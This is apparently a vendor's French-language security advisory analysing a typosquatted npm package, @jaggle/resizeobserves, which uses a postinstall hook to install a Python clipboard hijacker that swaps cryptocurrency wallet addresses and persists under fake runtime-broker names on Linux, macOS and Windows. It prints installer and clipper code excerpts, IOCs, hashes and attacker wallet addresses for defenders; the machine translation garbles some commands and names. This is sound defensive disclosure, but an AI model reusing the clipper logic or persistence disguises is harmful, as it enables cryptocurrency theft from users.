RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker : un Typosquat npm installe un Crypto-Clipper à 40 chaînes en tant qu’« assistant d’exécution système » multiplateforme.

TL; DR

Le 21 mai 2026, l'éditeur npm jaggle neuf versions ont été publiées (1.0.0 à travers 1.0.8) de @jaggle/resizeobserves dans un laps de temps d'environ deux heures.

Le paquet est un typosquat du légitime @juggle/resize-observer polyfill — un package largement utilisé avec des millions de téléchargements hebdomadaires — mais ne fournit aucune implémentation réelle de ResizeObserver.

Au lieu de cela, le paquet hook postinstall installe une charge utile Python intégrée, enregistre la persistance en tant que courtier d'exécution d'apparence native à la plateforme et déploie un pirate de presse-papiers multiplateforme ciblant les transactions de cryptomonnaie.

Linux la persistance apparaît comme python3-dbus-helper, macOS as com.apple.python.runtime et Fenêtres as PyRuntimeBroker.

Le code malveillant surveille en permanence le presse-papiers à la recherche d'adresses de portefeuilles. plus de 40 blockchains et remplace silencieusement les adresses copiées par des portefeuilles contrôlés par l'attaquant.

Le logiciel malveillant fonctionne entièrement en local, sans infrastructure C2 externe, faisant de la substitution du presse-papiers elle-même le mécanisme d'exfiltration.

L'indicateur de compromission principal est le nom du paquet lui-même : @jaggle/resizeobserves — notez la voyelle omise dans « jaggle » et le « s » ajouté dans « resizeobserves ».

Gravité : élevée.

L'attaque : comment elle fonctionne

npm:@jaggle/resizeobserves Cela ne ressemble pas à un logiciel malveillant au premier abord. vue npm. Elle enlève README.md est le README textuel de npm:@juggle/resize-observer — mêmes exemples de code, mêmes instructions d'utilisation, même import { ResizeObserver } from '@juggle/resize-observer' Le plagiat est omniprésent, avec de nombreuses références. Quiconque jetterait un coup d'œil à la documentation la prendrait pour la documentation officielle du logiciel.

Le package.json, en revanche, est clairsemé : aucun dépôt champ, un seul coffre entrée pointant vers bin/clipboard-guardian.jsEt un post-installation script qui exécute node npm-install.jsLes exemples d'utilisation de base du fichier README font référence à une implémentation JavaScript qui n'est présente nulle part dans l'archive. Le seul script JavaScript présent dans le paquet est le script d'installation.

Étape 1 — npm postinstall initialise une charge utile Python

npm-install.js est compatible avec les plateformes. Il localise un pépin exécutable le long d'un chemin de recherche fixe (/usr/bin/pip3, /usr/local/bin/pip, retombant sur python3 -m pip), installe le paquet Python intégré à partir du répertoire de l'archive tar, et — sous Linux — récupère xclip or xsell via apt-get, pacman, DNF si aucun des deux n'est déjà présent :

javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {   run("apt-get install -y xclip 2>/dev/null") ||   run("pacman -S --noconfirm xclip 2>/dev/null") ||   run("dnf install -y xclip 2>/dev/null"); }  if (   !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&   !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); 

L'utilisation de –interrompre les paquets système C'est intentionnel : les distributions Linux modernes intègrent Python avec le marqueur d'environnement géré en externe de la PEP 668 activé, ce qui bloque par défaut les installations pip à l'échelle du site. Le script d'installation force l'installation.

Le script prend également en charge les droits sudo. Lorsque l'UID en cours d'exécution est le résultat d'une sudo npm installer, le script se lit comme suit SUDO_USER et débourse pour obtenir le mot de passe pour trouver le réal le répertoire personnel de l'utilisateur, puis y écrit ses fichiers persistants plutôt que dans / RootLa persistance est propre à chaque utilisateur, et non à l'échelle du système.

Étape 2 — Persistance multiplateforme sous les noms de courtier d'exécution

Une fois le package Python installé, le script enregistre une entrée de démarrage automatique sous un nom différent sur chaque système d'exploitation :

  • Linux — une unité utilisateur systemd à ~/.config/systemd/user/python3-dbus-helper.serviceL'unité Description is Assistant d'exécution Python D-BusLe script tente également de l'activer via systemctl --user activer, en revenant à un lien symbolique manuel sous par défaut.cible.veut/ en cas d'échec de systemctl. Si le script est exécuté avec sudo, il bascule vers sudo -u systemctl –utilisateur(la prise en charge XDG_RUNTIME_DIR Configurer pour que l'appel au bus utilisateur fonctionne.
  • macOS — un fichier plist LaunchAgent à ~/Library/LaunchAgents/com.apple.python.runtime.plist au RunAtLoad=true et KeepAlive=true, puis chargé via launchctl charger.
  • Fenêtres — une tâche planifiée nommée PyRuntimeBroker, déclenchée à l'ouverture de session, avec une limite de temps d'exécution de zéro (c'est-à-dire sans délai d'expiration), enregistrée via PowerShell.

Les trois noms semblent crédibles au premier abord. python3-dbus-helper suit la convention d'appellation de l'intégration légitime de Python-D-Bus sur les ordinateurs de bureau Linux. com.apple.python.runtime imite le système d'étiquetage DNS inversé d'Apple pour ses propres services. PyRuntimeBroker fait écho à Windows RuntimeBroker.exe — un véritable service Microsoft signé qui gère les demandes d'autorisation pour les applications UWP. Aucun de ces services n'est un véritable service Apple/Microsoft/Python dans ce contexte, mais un défenseur effectuant une analyse visuelle rapide systemctl –liste-utilisateurs-unités or Get-ScheduledTask il est peu probable qu'il bronche.

Étape 3 — Le détournement du presse-papiers

La charge utile Python, installée à clipboard_guardian/guardian.py, exécute une boucle infinie interrogeant le presse-papiers système toutes les 400 millisecondes. À chaque itération, il récupère le contenu actuel du presse-papiers via pyperclip.paste() et les exécute sur une liste de plus de quarante expressions régulières précompilées couvrant les formats d'adresses de portefeuille pour Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain, et plusieurs autres stubs mais vides dans la configuration par défaut (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).

Lorsqu'une correspondance est établie, le script lit l'adresse de l'attaquant pour cette chaîne depuis ~/.config/clipboard-guardian/config.json (ou ses équivalents sur la plateforme) et remplace le contenu du presse-papiers par le texte substitué :

python result = find_address_in_text(current, config) if result is None:     time.sleep(POLL_INTERVAL)     continue  chain, found_addr = result my_addr = config[chain] if found_addr == my_addr:     time.sleep(POLL_INTERVAL)     continue  new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) 

Il n'y a pas de balise réseau. Le logiciel malveillant ne communique pas avec ses serveurs, n'enregistre pas les hôtes infectés et n'exfiltre aucune donnée. L'exfiltration se fait par substitution : lorsqu'un utilisateur copie l'adresse d'un destinataire depuis l'interface de son portefeuille et la colle dans une boîte de dialogue d'envoi, cette adresse appartient à l'opérateur. Les fonds sont perdus au sein même du réseau, de manière transparente pour l'utilisateur.

Quoi de neuf ici

Quelques détails se distinguent par rapport au modèle générique de crypto-clipper :

1. Croisement npm → Python. La plupart des outils de crypto-découpage que l'on trouve sur npm sont du JavaScript pur, souvent obfusqué avec _0x rotation du réseau ou eval(atob(…)) piles. Cet exemple utilise l'archive tar npm comme simple enveloppe de distribution pour un paquet Python — du Python propre — et laisse pip gérer l'installation des dépendances (cyberclip, putil, En option définir le titre du processus) déclaré dans le bundle pyproject.tomlIl n'y a aucune obfuscation JavaScript à contourner. Le clipper lui-même est du Python pur et lisible.

2. Étiquettes de persistance Tri-OS choisies pour leur plausibilité. De nombreux installateurs multiplateformes enregistrent la persistance sous des noms génériques (service de mise à jour, helper.plistCet exemple prend soin de choisir des étiquettes qui ressemblent aux courtiers d'exécution natifs de chaque système d'exploitation. Le nommage est la seule tentative de furtivité : il n'y a ni rootkit, ni dissimulation de l'espace utilisateur, ni obfuscation des chemins. Le pari est que les équipes de défense effectuent rarement des audits. ~/.config/systemd/utilisateur/ et qu'un service nommé python3-dbus-helper ne se démarquera pas lors d'une évaluation superficielle.

3. Le déguisement du titre de processus est réel, mais l'anti-analyse est dormante. La charge utile Python définit un _processus_de_déguisement() fonction qui définit le titre du processus via définir le titre du processus (Linux/macOS) ou Définir le titre de la consoleW (Windows) — et principale() l'appelle ainsi. psaux montrera python3-dbus-helper au lieu de python3 …/guardian.pyCependant, ce même module définit un est_moniteur_en_cours() fonction qui énumère les outils de surveillance des processus connus (htop, btop, Gestionnaire de tâches, Moniteur d'activité, Process Hacker, Moniteur de ressources, moniteurs système GNOME / KDE / Xfce / MATE, etc.) — et principale() Elle n'est jamais appelée. La boucle de substitution s'exécute systématiquement, qu'un moniteur de processus soit ouvert ou non. Dans la version distribuée, cette fonction est morte. Il s'agit probablement d'un vestige d'une version précédente ou d'une ébauche de fonctionnalité non encore implémentée. Quoi qu'il en soit, la vulnérabilité de la charge utile publiée se limite à un simple changement de nom de processus, et non à une tentative d'évasion de la surveillance active.

4. Le comportement de fusion de configuration groupée. npm-install.js écrit la liste des portefeuilles par défaut dans ~/.config/clipboard-guardian/config.json et, si un fichier de configuration existe déjà, il fusionne les clés dont la valeur actuelle est vide. Cela concerne un utilisateur précédemment infecté qui a partiellement nettoyé la configuration, par exemple en vidant le fichier de configuration. Ethereum Cette valeur sera réinitialisée à chaque installation ultérieure d'un package malveillant. Le fichier de persistance n'est supprimé à aucun moment du développement.

Date / Heure (UTC) Espaces
2026-05-21 18:50:32 @jaggle/resizeobserves@1.0.0 publié.
2026-05-21 19:55:55 1.0.1 publié — première version signalée par une analyse externe.
2026-05-21 19:58:10 1.0.2 publié.
2026-05-21 20:05:03 1.0.3 publié.
2026-05-21 20:09:24 1.0.4 publié.
2026-05-21 20:13:48 1.0.5 publié.
2026-05-21 20:41:52 1.0.6 publié.
2026-05-21 20:43:56 1.0.7 publié — ajoute un try/catch enveloppe autour de l'étape d'écriture de wallet-config dans npm-install.js.
2026-05-21 20:46:15 1.0.8 publié — programme d'installation renommé npm-install.jsnpm-install.cjs (contenu identique au niveau des octets).
2026-05-22 Les verdicts et les CIO ont été publiés. Les versions sont toujours en ligne au moment de la publication (travaux en cours).

Neuf versions en une heure et cinquante-six minutes, c'est rapide même pour un typosquat. Ce schéma est cohérent avec un campagne de publication et de brûlage — Inonder le registre sous un seul identifiant, laisser la détection suivre son cours, puis passer à un nouvel identifiant une fois qu'une version est supprimée. Les différences visibles au fil des versions sont purement cosmétiques : la version 1.0.1 a ajouté explicitement /usr/bin/pip3Les chemins de style pip vers la liste de recherche (compatibilité sudo) ont été pris en charge. La version 1.0.7 a encapsulé l'écriture de wallet-config dans un bloc try/catch, et la version 1.0.8 a renommé l'installateur. js à .cjs tout en conservant son contenu identique octet par octet. .cjs Renommer les pistes avec des avertissements npm concernant la résolution ambiguë des modules dans les packages sans indication explicite "type" Ce champ pourrait servir à masquer les anomalies lors de l'installation, susceptibles d'attirer l'attention. Le code Python, seul élément permettant le vol de données, reste inchangé dans les neuf versions.

Indicateurs de compromis

Forfaits

Écosystème Forfait versions Statut
NPM @jaggle/resizeobserves 1.0.0 à travers 1.0.8 En direct au moment de la publication ; demande de retrait.

Fichiers et hachages

Chemin Remarques
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
Identique dans les neuf versions publiées (1.0.0 à travers 1.0.8). La charge utile du clipper.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
Programme d'installation de la persistance ; même comportement de bout en bout. 1.0.7's .js et 1.0.8's .cjs sont identiques au niveau des octets.
~/.config/clipboard-guardian/config.json Ensemble de configuration de persistance Linux et de portefeuille.
~/Library/Application Support/clipboard-guardian/config.json Configuration de persistance macOS et ensemble de portefeuille.
%APPDATA%\clipboard-guardian\config.json Ensemble de configuration de persistance Windows et de portefeuille.
~/.config/systemd/user/python3-dbus-helper.service Persistance du démarrage automatique sous Linux.
~/Library/LaunchAgents/com.apple.python.runtime.plist Persistance de l'agent de lancement macOS.
~/Library/Logs/com.apple.python.runtime.log Journal de sortie standard/erreur standard macOS pour l'agent.
Scheduled Task PyRuntimeBroker Tâche de démarrage automatique de Windows (AtLogOn, pas de délai d'attente).

Indicateurs comportementaux

Signal Description
pip install --break-system-packages depuis npm postinstall Force l'installation de Python à l'échelle du site en contournant les protections PEP 668.
apt-get install -y xclip (ou pacman/dnf) Installe les utilitaires de presse-papiers sous Linux lors de l'installation du paquet.
python3-dbus-helper.service unité utilisateur systemd Persistance enregistrée sous un nom d'assistant d'exécution d'apparence plausible.
com.apple.python.runtime Agent de lancement Étiquette de persistance en dehors des chemins système légitimes d'Apple.
PyRuntimeBroker Tâche planifiée Persistance d'un faux serveur d'exécution Windows sans source d'installation légitime.
Processus Python intitulé python3-dbus-helper l'importation pyperclip et psutil Incohérence de comportement entre le nom du processus affiché et les bibliothèques importées.
Le contenu du presse-papiers change environ 0.4 s après la copie de l'adresse du portefeuille. Comportement de signature de la substitution d'adresse de cryptomonnaie.

Pack portefeuille attaquant (liste de chasse aux défenseurs)

La liste des portefeuilles est intégrée en dur dans npm-install.js et clipboard_guardian/guardian.pyLes équipes de défense peuvent utiliser cette liste à la fois comme liste noire (tout transfert vers ces adresses depuis des portefeuilles d'entreprise doit être considéré comme suspect) et comme clé de détection (la présence de l'une de ces chaînes de caractères dans un fichier de configuration non authentifié, un artefact de compilation ou une machine de développeur doit être considérée comme un indicateur d'infection).

Pack portefeuille attaquant

Chaîne Adresse
Ethereum / BSC 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Ronin (EVM) ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Bitcoin bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
Bitcoin Cash bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
Litecoin ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
Dogecoin DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
Dash XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcash t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByte DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
Monero 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
Solana DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
TRON TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
TON UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
Ripple r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
À pois 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
NEAR 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
Cosmos cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
Osmose osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
Celestia celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
Injectif inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
Kava kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
Harmonie one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
Terra terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
Algorand XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
avec nos artistes GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
Cardano addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
MultiversX erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
Aptos 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
Sur 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
Nano nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoin f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
Tezos tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
Ergo 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
Hedera 0.0.10488092

Les chaînes compatibles avec les expressions régulières mais disposant d'emplacements de portefeuille vides dans la configuration par défaut (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB) ne sont pas activement remplacées dans cette version, mais sont détectées. Elles sont traitées comme faisant partie du périmètre de surveillance plutôt que du périmètre de remplacement.

Attribution et motivation

La campagne offre une surface d'attribution limitée. Nous n'avons pas pu confirmer l'identité de l'opérateur. Voici ce que nous pouvons enregistrer :

  • Métadonnées de l'éditeur. Le compte npm jaggle indique son adresse e-mail comme olgascarlet@deltajohnsons.com. Le domaine deltajohnsons.com ne correspond pas à une identité d'entreprise que nous pouvons vérifier. Le compte npm ne présente aucune vérification d'adresse e-mail ni aucun SCM vérification. Aucune présence publique associée sur GitHub.
  • Champ du dépôt. Le package.json n'a pas de transport dépôt Le domaine légitime. Le domaine légitime npm:@juggle/resize-observer L'absence de lien vers un véritable dépôt GitHub, avec des milliers d'étoiles et de problèmes actifs, est le seul indicateur visuel le plus rapide sur l'interface utilisateur de npm.
  • Plagiat du fichier README. Le fichier README du package est légitime @juggle/resize-observer README octet par octet, y compris importer exemples qui font référence @juggle/resize-observer L'opérateur n'a même pas pris la peine de réécrire les importations, signe courant que le fichier README a été copié sans être adapté.
  • Aucune infrastructure sur laquelle s'appuyer. Il n'y a pas de point de commande et de contrôle (C2), pas de requête DNS, pas d'adresse IP. Le comportement malveillant est entièrement encapsulé dans le programme d'extraction local et le portefeuille intégré. Cela rend impossible le pivotement basé sur le domaine ou l'ASN. Les équipes de défense effectuant des pivotements entre campagnes doivent comparer le hachage des portefeuilles avec celui de tout programme d'extraction précédent enregistré ; la réutilisation d'un portefeuille entre différents packages constitue le lien inter-campagnes le plus facilement exploitable.
  • Choix du nom. @jaggle/resizeobserves est à un caractère de @jongler et une inflexion différente du bien connu redimensionner-observerLa distance d'édition combinée est de deux glyphes. Il s'agit d'une collision visuelle délibérée, et non d'un accroupissement générique.

La motivation, fondée sur le comportement des données transmises : une monétisation pure et simple par substitution opportuniste dans le presse-papiers. Aucune collecte d'identifiants, aucune identification de l'hôte, aucune lecture des variables d'environnement n'est effectuée. L'opérateur se fiche de l'identité de la victime ; ce qui compte pour lui, c'est que son prochain transfert pointe vers l'une des adresses listées. La couverture de quarante chaînes illustre le principe de la loterie : diffuser largement, en espérant qu'un seul transfert à forte valeur ajoutée soit détecté une fois sur N installations.

L'opérateur semble indifférent au retrait du contenu. La publication de neuf versions en deux heures, avec le même périmètre d'action, s'apparente à une stratégie de publication et de suppression à outrance : maximiser l'empreinte dans le registre avant que le délai de retrait ne soit atteint, puis passer à autre chose. Nous n'avons pas observé @jaggle republiant sous une nouvelle portée au moment de la rédaction, mais nous nous attendons à des portées similaires (@jaggie, @jongler-, @légère secousse) apparaître dans les prochains jours si l'opérateur est toujours actif.

 Impact

Il est impossible de quantifier l'impact en termes monétaires réels à partir des données actuelles. Le logiciel de suivi ne collecte aucune donnée télémétrique et aucun transfert de substitution n'a encore été observé sur les portefeuilles au moment de l'analyse (une analyse complémentaire des chaînes listées est prévue). npm:@juggle/resize-observer Le nombre moyen de téléchargements hebdomadaires atteint plusieurs millions — une cible de typosquattage à fort trafic — et le package malveillant était actif depuis moins de 24 heures au moment de sa divulgation, ce qui limite la population exposée sans toutefois l'annuler.

Le rayon d'explosion qu'il convient de surveiller n'est pas constitué de téléchargements directs de @jaggle/resizeobserves — il s'agit probablement de petites installations. Ce sont des **installations transitives** : un développeur ajoute le paquet à un projet sandbox, puis exécute npm installer, puis on oublie que le processus d'installation a été exécuté. Chaque machine ayant traité la post-installation dispose désormais d'un pirate de presse-papiers par utilisateur, qui démarre automatiquement, que le projet soit encore présent sur le disque ou non. Suppression du répertoire du package de node_modules ne supprime **pas** la persistance.

Modèles émergents

Cette campagne illustre deux tendances.

npm comme wrapper pour la distribution de charges utiles Python. L'archive tar npm est un installateur de 4 lignes ; le véritable voleur de ressources est Python, installé à l'échelle du système par pépin à partir du répertoire groupé. Ce n'est pas nouveau — nous avons déjà vu des packages npm abandonner Python — mais cela devient une pratique nettement plus courante dans les campagnes de crypto-clipping. L'avantage pour l'opérateur est double : les bibliothèques de presse-papiers Python (cyberclip Parmi eux, les premiers sont plus propres et plus multiplateformes que leurs équivalents JavaScript, et La plupart des scanners npm automatisés accordent une importance excessive aux fichiers JavaScript et Python. py paquets légers. Le coût est que l'installation est beaucoup plus bruyante — un nouveau installer pip Il est difficile de le dissimuler sur une machine de développeur qui ne le fait pas normalement. installer pip pendant npm installer.

Les noms natifs de la plateforme sont les seuls à être furtifs. Plusieurs logiciels de piratage et de vol de petites charges utiles récents ont complètement abandonné l'obfuscation au niveau du code au profit d'étiquettes de persistance d'apparence légitime. python3-dbus-helper, com.apple.python.runtime et PyRuntimeBroker Ce sont des exemples typiques : des noms que l’œil d’un défenseur ignorera dans une liste de quarante services utilisateur. C’est une forme de furtivité peu coûteuse et durable : la suppression est effectuée par paquet, mais les fichiers persistants survivent à la suppression, et un service portant le nom d’un composant de plateforme d’apparence légitime ne sera supprimé que par un audit explicite.

Ce que les défenseurs devraient faire

  • Auditez ~/.config/systemd/user/, ~/Library/LaunchAgents/ et Get-ScheduledTask sortie Sur les machines des développeurs, les entrées listées dans les IOC sont conservées. La suppression du paquet npm les laisse en place ; elles doivent être supprimées manuellement.
  • Bloquez les transferts vers les adresses de portefeuille listées aux frontières entre la trésorerie d'entreprise et les portefeuilles DeFi, là où l'autorisation d'adresses est disponible.
  • Recherchez le fichier ~/.config/clipboard-guardian/config.json (et leurs équivalents sur les différentes plateformes) sur l'ensemble des machines des développeurs. La présence du fichier indique une infection quasi certaine, quelle que soit la version du paquet qui l'a distribuée.
  • Recherchez clipboard_guardian/guardian.py dans le répertoire node_modules/. Dans les instantanés du cache de compilation, qui peuvent être antérieurs à la suppression, le MD5 du fichier reste stable dans toutes les versions analysées.
  • Verrouiller le fichier épinglé @juggle/resize-observer (le paquet légitime) afin que les installations futures ne puissent pas aboutir à autre chose en cas d'erreur d'un seul caractère, en particulier dans les flux de travail sans fichier de verrouillage comme npx.
  • Traiter toute commande npm postinstall invoquant pip install comme étant de haute gravité dans la construction-pipeline politique. Il n'y a aucune raison légitime pour qu'un paquet npm ait besoin de pip lors de son installation — les outils Python distribuent les outils Python.
  • Recherchez les données de surveillance comparables à process_iter() pour les processus nommés python3-dbus-helper qui importent pyperclip. — l’incohérence du déguisement (l’assistant D-Bus contenant une bibliothèque de presse-papiers) est l’indicateur comportemental le plus clair dont nous disposons.
  • Changez régulièrement les adresses de portefeuille collées depuis les machines infectées. Un pirate de presse-papiers compromet la communication entre l'interface utilisateur d'un portefeuille et une adresse de destination ; les adresses copiées pendant l'infection peuvent être modifiées à l'insu du destinataire. Tout message envoyé pendant la période d'infection doit être considéré comme potentiellement mal acheminé.

Conclusion : la persistance survit à la suppression. Le registre finira par supprimer les données. @jaggle/resizeobserves Dans les neuf versions, l'unité systemd, le LaunchAgent et la tâche planifiée ne se désinstallent pas d'eux-mêmes.

Références

sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Obtenez votre compte gratuit.
Aucune carte de crédit requise.

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni